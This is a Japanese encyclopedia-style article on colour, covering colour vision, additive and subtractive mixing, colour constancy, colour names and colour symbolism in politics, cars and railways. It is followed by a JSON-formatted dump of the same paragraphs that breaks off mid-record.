生理学的に言うと、網膜内にある3種類の錐体細胞が吸収する可視光線の割合が色の感覚を生む。これらの錐体細胞は、それぞれ長波長・中波長・短波長に最も反応するタンパク質(オプシンタンパク質)を含み、順にL錐体・M錐体・S錐体と呼ばれる。霊長類におけるL錐体とM錐体はかつて2種類だった色刺激の受容器の片方が進化の過程で分岐したものであるとされており、分光感度特性が近い。錐体が3種類あることはそのまま3種の波長特性を構成する元となるので、L , M , S の各錐体を赤・緑・青でなぞらえることもある。
ある人が視覚を通して受け取る光の波長が変化すると、それに伴って変化する視覚経験の内容が色であると言える。ただし、正常の色覚を持つ者以外に、正常の色覚をもつ人と色知覚が部分的に整合しない人(色覚異常)、1色覚(全色盲)や全盲など色覚を持たない人もいるため、この事例にも例外がある。しかしながらこの事態に限っては、色覚特性があっても知覚可能な波長にあっては事情は同様である。また、1色覚であっても、波長の長短の知覚が成立する場合があり、どちらかといえば長波長を好む傾向がある。
無色の紙のように、全波長において高い反射率で乱反射する物体は白と呼ばれる。一方、全波長において反射がほとんど無い場合、その色は黒と呼ばれる。近似的な黒体は、例えば中空の物体に微小な開口部を設けることで実現できる。この場合、中空の部分に入った光はほとんど吸収され外に出てこないので、反射率はほぼゼロになる。
色を説明する場合に、様々な色彩理論を集合的に概説する場合がある。代表的なものに三原色と反対色性がある。色彩にまつわる現象は様々あり、照度や輝度、反射率の変化に従って、見える色も変化する。ベツォルト・ブリュッケ現象やアブニーシフトなど様々な見解が知られている。
人間の視覚が色を認識する際には、その光の分光分布を直接計っているのではなく、眼球の錐体細胞に含まれる3つの色素が光を吸収する割合を計っているに過ぎない。そのため、独立した複数の色を合成する事で人間に別の色を感じさせる事ができる。
例えば、黄の波長の光は、赤の波長の光と緑の波長の光の組み合わせによってほぼ同じ刺激を与えることが可能であり、黄は赤と緑の組み合わせの光として表現出来る。そしてこの場合、黄の波長だけが眼球に入っている場合と、赤の波長と緑の波長が組み合わされて眼球に入っている場合を人間は区別できない。
ディスプレイ、印刷、絵具など、色を表現するメディアは様々である。これらを光源、もしくは、透過光および反射光に着眼して分類した場合、特徴的な色の傾向が異なる。これを便宜的に色に着眼してグルーピングして、加法混合と減法混合、RGBWとCMYK、RGBとCMYなど、いくつかに分けて説明する場合がある。
原色はどの色なのかと問う人がいるが、実際に選択される塗料やインク、あるいはカラーフィルターその他が形成する「原色」の色合いが、常に特別に優越される色合いだという訳ではない。減法混合においては彩度が高い状態において明るいものにある種の優位性が伴う。効果的に色を表現できる着色材料は重宝されるが、一定の方向性、共通性はあってもその色相や色調は一致しない。原色の説明はあくまで単純化された抽象論に過ぎない。その上、理想的な原色は実在しない。
ここで挙げるのはあくまで、一般的な色覚を持つ人間を基準にした色の混合の様態である。二色型の色覚を持つ人は、2つの完全な原色でその人が知覚可能な全ての色を合成することができると考えられており、4つないしそれ以上の錐体(もしくはそれに相当するもの)を持つ生物にとっては、4つないしそれ以上の「原色」が必要になる。また、ヘビの赤外線検知器であるピットの情報は脳の視覚野に入っており、視覚情報として処理されていることが証明されている。つまり、ピットを持つヘビ(マムシなど)にとっては温度情報もまた原色の一つであろう。人間は偏光をハイディンガーのブラシと呼ばれる現象を除いてほとんど知覚できないが、水中生物の一部や昆虫など、知覚できる生物が存在する。それらは透明なものを偏光の回転程度の違いにより見ることができたり、曇り空でも太陽の正確な方向がわかると考えられている。そのような生物には、人間が実際の色に近いと判断する写真も、実物と明らかに異なる色合いに見えると考えられる。
有色の光線によって色を演出する場合、光を加える形で色を合成する(加法混合)。このとき、積極的な発光によらない、黒さ(暗さ)を表現できる仕組みが求められる。この結果、効率的に光の透過を抑えることが出来る塩素を含む顔料が採用される場合が多くなる。
白色の光を合成するための波長を「光の三原色」や「色光の三原色」と言い、下記の三色を用いる。カラーフィルターを用いる場合に採用される顔料の一例を上げると、赤がPigment Red 254に少量のPigment Orange 71、緑がPigment Green 36に少量のPigment Yellow 138、青がPigment Blue 15:6に少量のPigment Violet 23、などである。これはあくまで例であり、これ以外の顔料の組み合わせは使用されている。以前は「橙」「緑」「紫」の組み合わせも試みられたが成功しなかった。カラーフィルターのスペクトルは下記の波長とは性格が異なり、一致しない。
一方、物体の表面を特定の色にするためにインクなどを塗る場合、元の光を遮る形で色を合成する(減法混合)。その合成の元になる色は一般に「色の三原色」や「色料の三原色」と言われ、シアン、マゼンタ、イエローの三色(下掲)を用いる。この三つの材料を混合すれば、光の三原色の場合と反対に黒を作ることが出来る。しかし、この三色によって白を構成することは出来ない。
故に、印刷などに用いる場合には白色素材の表面に使用することが前提となる上、白色の併用が必要になる場合もある。また、透明性の高い着色材(colorant)を使用しても、三原色の重ねや混合で成立する黒は理想とは異なり、純黒にはならない。このため、より自然に色を現す目的で黒色の着色材が併用され、これは一般にCMYK(Cyan, Magenta, Yellow, Key plate) と呼ばれる。
光の混合においては、橙と青によってマゼンタなどの紫の色相が得られ、橙と緑を混ぜると黄の色相を得ることが可能である。このとき、紫には元の赤味も青味もあるが、黄においてこの印象は寡少である。黄には元の色彩(赤、緑)がないと主張する人がいる。しかし、現実に得られる黄は赤気味であったり、緑気味であったりする。赤気味でも緑気味でもない「理想の黄」が現実に得られるとは断言できない。また、黄と青から白を作る場合も、元の色味が極度に減少する。このような色味を打ち消しあう性質を反対色性、色自体についてはもう一方の色の反対色、補色という。ただし補色という語は厳密な反対色を意味しない場合が多い。
反対色性は網膜から大脳へ効率的に色情報を伝達しようとするために生じると考えられている。なぜなら、それぞれの色は錐体応答間でも高い相関があるからである。そのため、相関が低くなるよう線形変換し、冗長性を低減している。
同一の個体の色覚は、ふつう安定していると考えられている。光源が多少変化しても同じ物体の色が同様に見えるのは、色覚の恒常性があるからである。
複数の個体間で知覚される色がどのような色であるかを直接すり合わせることは出来ないが、人間同士であれば言語やカラーチャートを用いて情報交換することが可能である。他方で、人間が様々な生物の色覚を知ろうとする試みがあり、色覚の有無や性質が研究されている。
人間が光線の波長そのものを知覚しているのではなく三種類の錐体の出力比を知覚していることを述べた。これだけでは例えば、極端に黄色い照明の下では全てのものが黄色く見えてしまうはずだが、実際には色味のある照明の下でもその照明に支配されない認識が得られる。これを色覚の恒常性という。
人間の視覚には慣れや知識などによる補正があり、多少の光源の色度の違いは補正される。このため昼と夕方とでは日光の波長分布が違うにもかかわらず、物体は同じ色に見える。太陽光と異なる波長分布を持つ照明下でも「白色」のものは白色と感じられる。例えば、「白熱灯」の波長分布はその名に反してかなり赤に偏っているが、その照明下でも白い紙は白く見える。周囲の色々なものの見え方からそのときの照明条件を推定し、その推定に従って色の見え方を補正していると考えられる。
太陽光と同じ波長分布の光が最も自然な白色とされるが、それより青成分の強い光を「爽やかな白」と感じる人が多い。故に多くのディスプレイ上に表現される白色は純白より青味が強い色になっている。そのような青味の白も極端でなければ、日常的に白を吟味していないような多くの人の眼には「青」でなく「爽やかな白」と感じられる。
夜間など十分な光の得られない環境では、錐体の機能が低下する。暗所で働く桿体は錐体と比較して赤色光への感度が低いため夜間には赤と黒の識別が困難になるのだが、そのような環境にあっても赤色であると知っているものは赤く見える場合がある。例えば、黒く塗った林檎を暗い環境下で見せると赤く見える、といったことが起こる。
太陽光線の波長分布は季節や時刻によって異なる。また、周囲に反射した光によっても影響される。例えば周りが青い物ばかりならば反射光によって環境光は青さが増す。だが、周囲の色に引きずられて物の色が違って見えては困るであろう。色の恒常性は、そのような場合でも出来るだけ一定の色覚を保つために発達したとの考えは、ある自然さを持っている。ただし、この補正にも限度があり、極端に偏った波長分布では補正しきれない。
同じ組成の光を受けた場合でも、それをどのように知覚するかは人それぞれの目と脳の相関関係によって異なるので、複数の人間が全く同一の色覚を共有しているわけではない。同様に、ある人が同じ物を見ても右目と左目では角度や距離が異なり、見えた色も一致しない。他者の色知覚を経験する手段は存在せず、同一の色知覚を共有することも不可能である。
また、知覚した色をどのような色名で呼ぶかは学習によって決定される事柄であり、例えば緑色を見て二人の人間が異なる知覚を得たとしても、二人ともそれを「緑」と呼ぶので、色覚の違いは表面化しない。
色覚の違いが表面化するのは、複数の色の区別に困難が生じるなどの場合である。大多数の人間とはっきり異なる判断をおこすものの色覚特性を指して、その生理については色覚異常、機能については色覚障害と呼ぶ。
いわゆるバリアフリーと呼ばれる動向において、色覚異常の者に対する配慮が必要であるという意見がある。他方で、眼科学においては、1型色覚および2型色覚に代表される多くのケースでは、日常生活に大きな支障をきたしていないという考え方が定説とされている。
標準化団体であるW3C は、HTML の色使いは色覚異常に配慮したコントラストを保つべきだとして綱領を出している。HTML は 16,777,216 色(2 色)が表現出来るが、環境に依って見え方は左右される。256 色環境で Windows と Macintosh に共通する 216 色(6 色)の事をウェブカラーと言い、この 216 色は見え方が環境の違いに左右され難いため、使用が推奨されている。
一般に、色は、生活や文化、産業や商業、デザインや視覚芸術の重要な要素であり、ある「様式」「作風」「文化」の特徴の一つに、特定の色の使用、特定の色の組み合わせ、色と結び付いた意味などが含まれている場合も多い。
色名とは色の名のことである。基本色名、系統色名、固有色名などがある。あらゆる文化には、RGB や CMY と同一視出来ない、それぞれの文化的な原色がある。それはその文化の背骨となっている言語の中での、最も古い色名からたどれる。そのような色名は基本色名と呼ばれる。特別な名前が付けられた色や、また名前の付けられていないような色もあるが、それらは全て基本色名で言い換える事ができる。例えば、「蘇芳色(すおういろ)」は基本色名の「赤」と言い換えることができるし、空の色や海の色などをまとめて「青」と呼べる。
色彩は様々な感情を表現したり、事物を連想させることがある。国や文化などによって違いはあるが、一般的な印象は次のようなものである。しかし、今日では喪服は黒が一般的だが江戸時代までは白が一般的だったように、時代や文化による影響も大きい。
青は男、赤は女を意味するという認識は日本のみならず世界の国々が有しているという調査結果がある。
職種、階層、貧富を言い表す際にも色が用いられることがある。例:ホワイトカラー(事務職)・ブルーカラー(肉体労働職)、ブルーブラッド(貴族。首筋が日焼けせず静脈が見える人間)・レッドネック(白人の肉体労働者。屋外労働で首筋が赤く日焼けしていることから。アメリカ南部者)・ホワイトトラッシュ(貧乏な白人。ただしレッドネックが白人の男を指すのに対し、こちらは女を限定することもある)
政治の世界においては、色が特定の政治的な立場を現すことがよくある。
赤は左翼・社会主義・共産主義を形容する色としてよく使われ、党派的にも容共で政府・資本家に反く側を表す。一説には、1848年革命やパリ・コミューンの時に、革命軍が掲げていた三色旗が血に染まって赤くなったから、左翼的立場を形容するのに赤を使うようになったとされる。
白は右翼・反共主義・王党派・復古勢力を指す色として使われる。反共で政府・資本家に親しい側を指す。フランスの王党派が使い始めたのが最初で、フランスのブルボン家の白百合紋章に由来する。以来、反革命軍は白旗を目印として、右翼的立場を形容するのに白を使うようになった。白系ロシア人、白色テロなど。
黒はアナキズムを象徴する色として使われる。日本では、天皇の臣下を意味する色として利用される事があった。また、しばしばファシズムの象徴として使われる。ベニート・ムッソリーニのファシスト党は、制服の色として使った。
青は保守主義を形容する。
黄色は労資協調主義や自由主義・リベラル派を形容する。御用組合は俗に「黄色組合」とも言われ、黄色は容共かつ政府・資本家に親しい党派を表す。
緑は環境保護派や「緑の党」を形容する色として広く使われている。イスラムを象徴する色としても利用される。
茶色や褐色は独裁主義やナチズムを形容する。これは、ナチ党の突撃隊(SA)の制服にちなむ。また、茶色の代わりに、赤と黒の組み合わせで示される場合もある(例:クメール・ルージュ)。
国旗には、アイルランドの国旗などのように、各色が意味を持っており、その組み合わせと配置で国家の在り方を示している場合がある。
また、レインボーフラッグのように、複数の色を組み合わせること自体で政治的主張を表わす場合もある。
日本では、JAPAN FASHION COLOR ASSOCIATION (JAFCA) が毎年流行色を決めている。
自動車の外板色の好みには、その土地の気候風土や文化が関わっており、自動車メーカーでは仕向地ごとの色の設定や生産割合を細かく決めている。近年はグローバル化が進んで均されて来てはいるが、地域的な差は高級車では少なく、大衆車で顕著であった。車種やカテゴリによっても傾向に違いはあるが、各仕向地の大まかな嗜好としては、
自動車業界では自動車メーカーの都合や広告代理店の仕掛け、塗料メーカーの技術開発などで、外板色の流行が繰り返されてきた。日本の販売統計(発売後のプレスリリースには、購入層別、グレード別などの他、色別の販売台数比率も掲載されている。)では、バブル期などの好景気にはパール、濃色系のマイカやメタリック、鮮やかなソリッドカラーを中心に非常に多様となり、ツートーンカラーの設定も多いが、不景気になると白と銀(灰色系メタリック)に偏る傾向があり、メーカーも白、銀、紺などに色数を絞る。この時期にはスポーツカーなどの趣味性が強く、特徴的な色が設定されることの多い車種も、生産を減らすか、廃止に追いやられる場合が多い。一方、軽自動車やコンパクトカーのうち、可処分所得の高い女性層に向けた車種では、景気動向に影響されながらも(色の追加と廃止を頻繁に繰り返し、全体の色数を減らしてコストを抑える)多様な外板色が設定されている。
塗料としての性質は、カーボンを含む黒は耐久性・耐候性に優れ、焼付け時の熱吸収が良く、乾燥・硬化が速い(フォード・モデルTを参照)。顔料の粒子が大きい白はそれに次ぐ耐久性・耐候性を持つ。隠蔽力もこの順に高く、ソリッドカラーの場合、これらの色は低コストでもあり、公用車や社用車、商用車にこれらの色が多い理由にもなっている。ハイソカーブームで人気となったスーパーホワイトは、当初高額車のみに設定されていた。この場合専用の白い下地塗料を用意する必要はあるが、車両価格に対し、塗料と塗装のコストの割合は低くなり、利益率が増す。
逆に黄、橙、赤は隠蔽力が低く、発色を良くする場合には専用のサーフェーサーを用いる。これらの色は耐候性も低く、退色が目立ちやすい。
ユニバーサルデザインの一環として、鉄道路線ごとに色を分けたラインカラーの導入が増えている。
車体色はその鉄道会社を表すものであったが、維持コスト低減に有利なステンレス車両の普及やアルミ車両の無塗装化が進み、多くの車両がフィルム帯を貼付けるのみとなっている。この帯色はラインカラーの表示を兼ねる場合もある。
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"paragraph_id": 9,
"tag": "p",
"text": "血色などは体調などに対する反応に過ぎず、色ではない。上記の様に、色の三属性を全てを具えたものが色であり、「色には明度が無い」とか「白や黒は色ではない」などと主張している人たちが、志向しているものは色ではない。",
"title": "色の様相"
},
{
"paragraph_id": 10,
"tag": "p",
"text": "色相は赤・橙・黄・緑・青・紫といった色の様相の相違である。「ピンク色」「レモン色」「ライム色」「空色」「赤茶色」「薄紫色」「肌色」「水色」などの色合いを表現する名詞と知覚内容を表す述語、そして、固有色名は色相を表現する語彙ではない。",
"title": "色の様相"
},
{
"paragraph_id": 11,
"tag": "p",
"text": "色相は特定の波長が際立っていることによる変化であり、際立った波長の範囲によって、定性的に記述できる。ただし、常に同じ帯域が同じ色に見える訳ではない。連続して変化していく色味を円環上に並べたものを色相環と言う。白、黒、グレーを除く全ての色は、色相環に配置される色相のいずれかに属する。",
"title": "色の様相"
},
{
"paragraph_id": 12,
"tag": "p",
"text": "色相の連続的な変化を示す例を3つ挙げる。",
"title": "色の様相"
},
{
"paragraph_id": 13,
"tag": "p",
"text": "彩度は色の鮮やかさを意味する。物体の分光反射率が平坦になる程、彩度は低くなる。また、色相によって彩度が高いときの明度が異なる。",
"title": "色の様相"
},
{
"paragraph_id": 14,
"tag": "p",
"text": "彩度の連続的な変化を示す例を3つ挙げる。",
"title": "色の様相"
},
{
"paragraph_id": 15,
"tag": "p",
"text": "明度は色の明るさを意味する。明度の高低は、物体の反射率との相関性が高い。光の明暗に関して、明るさ (brightness, luminousity) があるが同様の知覚内容を指していると言える。色相に属さず、明度の違いによって区別される、白、黒、グレーなどの色を無彩色という。対して、色味を僅かでも持つ色は有彩色と呼ばれる。純色の中では、ニュートラルな黄色が最も明度が高く、ニュートラルな青は最も明度が低い。",
"title": "色の様相"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "明度の連続的な変化を示す。",
"title": "色の様相"
},
{
"paragraph_id": 17,
"tag": "p",
"text": "蛍光色や金属光沢を有する色は特殊な色として挙げることができる。なお、ここに掲げる色、特に特定条件における特定の部分の色を色の三属性で指定することは可能だが、指定される条件への依存度が大きく、色の指定としては有効ではない。",
"title": "色の様相"
},
{
"paragraph_id": 18,
"tag": "p",
"text": "蛍光顔料には、昼光蛍光顔料(有機蛍光顔料)と燐光顔料(無機蓄光顔料)がある。昼光蛍光顔料は蛍光染料の加工品である。昼光蛍光顔料は紫外線も含め吸収した光エネルギーの波長を変え、通常の反射光と合わせて反射する。このため、高い明度、高い彩度を示す。波長の移動は、長波長側に向かって起こるので、蛍光色は暖色に多い。燐光顔料は、残光性がある物で、蓄光顔料とも言う。有機蛍光顔料とは異なり、顔料そのものの色は弱く、夜光顔料に利用される。",
"title": "色の様相"
},
{
"paragraph_id": 19,
"tag": "p",
"text": "光の波長あるいはそれ以下の微細構造による干渉や回折、散乱により物体が色付く現象を構造色と呼ぶ。構造色として有名なものに、昆虫のモルフォチョウ、コウトウキシタアゲハ、タマムシ、他にカモの羽根、宝石のオパールなどがある。油膜やコンパクトディスクの記録面の虹色も構造色といえる。",
"title": "色の様相"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "金属の粉末で金属光沢を有する粉末を顕色成分とする塗料などの色を金属色と称することがある。金属光沢は、金物一般に特有な、滑らかな表面に見られる光を反射する性質のことである。",
"title": "色の様相"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "類語に色彩()がある。光の刺激による視覚系の感覚で物体の表面がある部分の波長の光を反射することによる「物体色」と、光源から発する一定の波長の光による「光源色」とに大別される。デザインの対象となるのはおもに物体色で、その見え方は、色相・明度・彩度の三属性で表される。",
"title": "色彩"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "日本産業規格(JIS)においては色と同義語であるものの、彩り、傾向などを指す語として知られることから、日常語のみならず、色を狭義に捉えようとする、科学、工業などの文脈においても広く色の語が用いられている。",
"title": "色彩"
},
{
"paragraph_id": 23,
"tag": "p",
"text": "ある対象の地域・地区・施設などの色彩に関する計画を周辺の自然環境、人工環境に配慮して行うことを色彩計画という。",
"title": "色彩"
},
{
"paragraph_id": 24,
"tag": "p",
"text": "自然、地形、景観的特長を把握するとともに、対象の種別を考慮して計画を進めていく必要がある。また、計画される色彩が整備内容と整合するか、心理的な印象と整合するかなどの検証も求められる。",
"title": "色彩"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "景観対象がもつ色彩的構成がその景観の印象を決定づけるような場合の表現を色彩景観と呼ぶが、「空」などはその典型例であり、落ち着いた景観、華やぐような景観など、人の感情に訴える風景を生み出すうえで色彩の果たす役割は大きい。",
"title": "色彩"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "また、2つ以上の色を組み合わせて「間 (ま)」をつくり出すことを色彩調和と呼び、「まとまりのある美しさ」人の感情の快・不快に関係し、色彩調和論も著者の数だけの法則があるといわれている。",
"title": "色彩"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "物理学的には、光学を基礎とし、色の変化は、物体と物体を照らす光との相関を用いて説明される。物体に入射する何らかの波長の光が観測者の方向へ反射(正反射・乱反射を含む)する際に、その物体の物性に応じた特定の波長のみが反射されそれ以外は吸収される(=波長に応じ反射率が異なる)という現象が起こる。観測者には反射された光だけが届くため、その波長に基づき判断される色が、「その物体の色」として認識される(つまり、光そのものに色という性質はなく、光を受けた器官が色を作っている)。",
"title": "色と色覚"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "またそのように観測者に届く光とそれに対する認識とに左右されるため、一般的な色は、人間の視覚すなわち可視光線の範囲内を基準として表現されている。逆に言えば、可視光線の範囲を超えた波長の光について観測すると、可視光域で見た場合に比べて全く別の「色」や模様になっている物体もある。例えばチョウの羽根の模様は紫外線領域では人の肉眼で見る場合とはまた異なる鮮やかな模様を描き出し、真っ黒に焼け焦げた新聞紙などは赤外線領域のある波長では燃えた紙とインクが燃えた部分とで反射率が異なるため書かれていた元の内容を読むことが出来る。",
"title": "色と色覚"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "生理学的に言うと、網膜内にある3種類の錐体細胞が吸収する可視光線の割合が色の感覚を生む。これらの錐体細胞は、それぞれ長波長・中波長・短波長に最も反応するタンパク質(オプシンタンパク質)を含み、順にL錐体・M錐体・S錐体と呼ばれる。霊長類におけるL錐体とM錐体はかつて2種類だった色刺激の受容器の片方が進化の過程で分岐したものであるとされており、分光感度特性が近い。錐体が3種類あることはそのまま3種の波長特性を構成する元となるので、L , M , S の各錐体を赤・緑・青でなぞらえることもある。",
"title": "色と色覚"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "ある人が視覚を通して受け取る光の波長が変化すると、それに伴って変化する視覚経験の内容が色であると言える。ただし、正常の色覚を持つ者以外に、正常の色覚をもつ人と色知覚が部分的に整合しない人(色覚異常)、1色覚(全色盲)や全盲など色覚を持たない人もいるため、この事例にも例外がある。しかしながらこの事態に限っては、色覚特性があっても知覚可能な波長にあっては事情は同様である。また、1色覚であっても、波長の長短の知覚が成立する場合があり、どちらかといえば長波長を好む傾向がある。",
"title": "色と色覚"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "無色の紙のように、全波長において高い反射率で乱反射する物体は白と呼ばれる。一方、全波長において反射がほとんど無い場合、その色は黒と呼ばれる。近似的な黒体は、例えば中空の物体に微小な開口部を設けることで実現できる。この場合、中空の部分に入った光はほとんど吸収され外に出てこないので、反射率はほぼゼロになる。",
"title": "色と色覚"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "色を説明する場合に、様々な色彩理論を集合的に概説する場合がある。代表的なものに三原色と反対色性がある。色彩にまつわる現象は様々あり、照度や輝度、反射率の変化に従って、見える色も変化する。ベツォルト・ブリュッケ現象やアブニーシフトなど様々な見解が知られている。",
"title": "色と色覚"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "人間の視覚が色を認識する際には、その光の分光分布を直接計っているのではなく、眼球の錐体細胞に含まれる3つの色素が光を吸収する割合を計っているに過ぎない。そのため、独立した複数の色を合成する事で人間に別の色を感じさせる事ができる。",
"title": "色と色覚"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "例えば、黄の波長の光は、赤の波長の光と緑の波長の光の組み合わせによってほぼ同じ刺激を与えることが可能であり、黄は赤と緑の組み合わせの光として表現出来る。そしてこの場合、黄の波長だけが眼球に入っている場合と、赤の波長と緑の波長が組み合わされて眼球に入っている場合を人間は区別できない。",
"title": "色と色覚"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "ディスプレイ、印刷、絵具など、色を表現するメディアは様々である。これらを光源、もしくは、透過光および反射光に着眼して分類した場合、特徴的な色の傾向が異なる。これを便宜的に色に着眼してグルーピングして、加法混合と減法混合、RGBWとCMYK、RGBとCMYなど、いくつかに分けて説明する場合がある。",
"title": "色と色覚"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "原色はどの色なのかと問う人がいるが、実際に選択される塗料やインク、あるいはカラーフィルターその他が形成する「原色」の色合いが、常に特別に優越される色合いだという訳ではない。減法混合においては彩度が高い状態において明るいものにある種の優位性が伴う。効果的に色を表現できる着色材料は重宝されるが、一定の方向性、共通性はあってもその色相や色調は一致しない。原色の説明はあくまで単純化された抽象論に過ぎない。その上、理想的な原色は実在しない。",
"title": "色と色覚"
},
{
"paragraph_id": 37,
"tag": "p",
"text": "ここで挙げるのはあくまで、一般的な色覚を持つ人間を基準にした色の混合の様態である。二色型の色覚を持つ人は、2つの完全な原色でその人が知覚可能な全ての色を合成することができると考えられており、4つないしそれ以上の錐体(もしくはそれに相当するもの)を持つ生物にとっては、4つないしそれ以上の「原色」が必要になる。また、ヘビの赤外線検知器であるピットの情報は脳の視覚野に入っており、視覚情報として処理されていることが証明されている。つまり、ピットを持つヘビ(マムシなど)にとっては温度情報もまた原色の一つであろう。人間は偏光をハイディンガーのブラシと呼ばれる現象を除いてほとんど知覚できないが、水中生物の一部や昆虫など、知覚できる生物が存在する。それらは透明なものを偏光の回転程度の違いにより見ることができたり、曇り空でも太陽の正確な方向がわかると考えられている。そのような生物には、人間が実際の色に近いと判断する写真も、実物と明らかに異なる色合いに見えると考えられる。",
"title": "色と色覚"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "有色の光線によって色を演出する場合、光を加える形で色を合成する(加法混合)。このとき、積極的な発光によらない、黒さ(暗さ)を表現できる仕組みが求められる。この結果、効率的に光の透過を抑えることが出来る塩素を含む顔料が採用される場合が多くなる。",
"title": "色と色覚"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "白色の光を合成するための波長を「光の三原色」や「色光の三原色」と言い、下記の三色を用いる。カラーフィルターを用いる場合に採用される顔料の一例を上げると、赤がPigment Red 254に少量のPigment Orange 71、緑がPigment Green 36に少量のPigment Yellow 138、青がPigment Blue 15:6に少量のPigment Violet 23、などである。これはあくまで例であり、これ以外の顔料の組み合わせは使用されている。以前は「橙」「緑」「紫」の組み合わせも試みられたが成功しなかった。カラーフィルターのスペクトルは下記の波長とは性格が異なり、一致しない。",
"title": "色と色覚"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "一方、物体の表面を特定の色にするためにインクなどを塗る場合、元の光を遮る形で色を合成する(減法混合)。その合成の元になる色は一般に「色の三原色」や「色料の三原色」と言われ、シアン、マゼンタ、イエローの三色(下掲)を用いる。この三つの材料を混合すれば、光の三原色の場合と反対に黒を作ることが出来る。しかし、この三色によって白を構成することは出来ない。",
"title": "色と色覚"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "故に、印刷などに用いる場合には白色素材の表面に使用することが前提となる上、白色の併用が必要になる場合もある。また、透明性の高い着色材(colorant)を使用しても、三原色の重ねや混合で成立する黒は理想とは異なり、純黒にはならない。このため、より自然に色を現す目的で黒色の着色材が併用され、これは一般にCMYK(Cyan, Magenta, Yellow, Key plate) と呼ばれる。",
"title": "色と色覚"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "光の混合においては、橙と青によってマゼンタなどの紫の色相が得られ、橙と緑を混ぜると黄の色相を得ることが可能である。このとき、紫には元の赤味も青味もあるが、黄においてこの印象は寡少である。黄には元の色彩(赤、緑)がないと主張する人がいる。しかし、現実に得られる黄は赤気味であったり、緑気味であったりする。赤気味でも緑気味でもない「理想の黄」が現実に得られるとは断言できない。また、黄と青から白を作る場合も、元の色味が極度に減少する。このような色味を打ち消しあう性質を反対色性、色自体についてはもう一方の色の反対色、補色という。ただし補色という語は厳密な反対色を意味しない場合が多い。",
"title": "色と色覚"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "反対色性は網膜から大脳へ効率的に色情報を伝達しようとするために生じると考えられている。なぜなら、それぞれの色は錐体応答間でも高い相関があるからである。そのため、相関が低くなるよう線形変換し、冗長性を低減している。",
"title": "色と色覚"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "同一の個体の色覚は、ふつう安定していると考えられている。光源が多少変化しても同じ物体の色が同様に見えるのは、色覚の恒常性があるからである。",
"title": "色と色覚"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "複数の個体間で知覚される色がどのような色であるかを直接すり合わせることは出来ないが、人間同士であれば言語やカラーチャートを用いて情報交換することが可能である。他方で、人間が様々な生物の色覚を知ろうとする試みがあり、色覚の有無や性質が研究されている。",
"title": "色と色覚"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "人間が光線の波長そのものを知覚しているのではなく三種類の錐体の出力比を知覚していることを述べた。これだけでは例えば、極端に黄色い照明の下では全てのものが黄色く見えてしまうはずだが、実際には色味のある照明の下でもその照明に支配されない認識が得られる。これを色覚の恒常性という。",
"title": "色と色覚"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "人間の視覚には慣れや知識などによる補正があり、多少の光源の色度の違いは補正される。このため昼と夕方とでは日光の波長分布が違うにもかかわらず、物体は同じ色に見える。太陽光と異なる波長分布を持つ照明下でも「白色」のものは白色と感じられる。例えば、「白熱灯」の波長分布はその名に反してかなり赤に偏っているが、その照明下でも白い紙は白く見える。周囲の色々なものの見え方からそのときの照明条件を推定し、その推定に従って色の見え方を補正していると考えられる。",
"title": "色と色覚"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "太陽光と同じ波長分布の光が最も自然な白色とされるが、それより青成分の強い光を「爽やかな白」と感じる人が多い。故に多くのディスプレイ上に表現される白色は純白より青味が強い色になっている。そのような青味の白も極端でなければ、日常的に白を吟味していないような多くの人の眼には「青」でなく「爽やかな白」と感じられる。",
"title": "色と色覚"
},
{
"paragraph_id": 49,
"tag": "p",
"text": "夜間など十分な光の得られない環境では、錐体の機能が低下する。暗所で働く桿体は錐体と比較して赤色光への感度が低いため夜間には赤と黒の識別が困難になるのだが、そのような環境にあっても赤色であると知っているものは赤く見える場合がある。例えば、黒く塗った林檎を暗い環境下で見せると赤く見える、といったことが起こる。",
"title": "色と色覚"
},
{
"paragraph_id": 50,
"tag": "p",
"text": "太陽光線の波長分布は季節や時刻によって異なる。また、周囲に反射した光によっても影響される。例えば周りが青い物ばかりならば反射光によって環境光は青さが増す。だが、周囲の色に引きずられて物の色が違って見えては困るであろう。色の恒常性は、そのような場合でも出来るだけ一定の色覚を保つために発達したとの考えは、ある自然さを持っている。ただし、この補正にも限度があり、極端に偏った波長分布では補正しきれない。",
"title": "色と色覚"
},
{
"paragraph_id": 51,
"tag": "p",
"text": "同じ組成の光を受けた場合でも、それをどのように知覚するかは人それぞれの目と脳の相関関係によって異なるので、複数の人間が全く同一の色覚を共有しているわけではない。同様に、ある人が同じ物を見ても右目と左目では角度や距離が異なり、見えた色も一致しない。他者の色知覚を経験する手段は存在せず、同一の色知覚を共有することも不可能である。",
"title": "色と色覚"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "また、知覚した色をどのような色名で呼ぶかは学習によって決定される事柄であり、例えば緑色を見て二人の人間が異なる知覚を得たとしても、二人ともそれを「緑」と呼ぶので、色覚の違いは表面化しない。",
"title": "色と色覚"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "色覚の違いが表面化するのは、複数の色の区別に困難が生じるなどの場合である。大多数の人間とはっきり異なる判断をおこすものの色覚特性を指して、その生理については色覚異常、機能については色覚障害と呼ぶ。",
"title": "色と色覚"
},
{
"paragraph_id": 54,
"tag": "p",
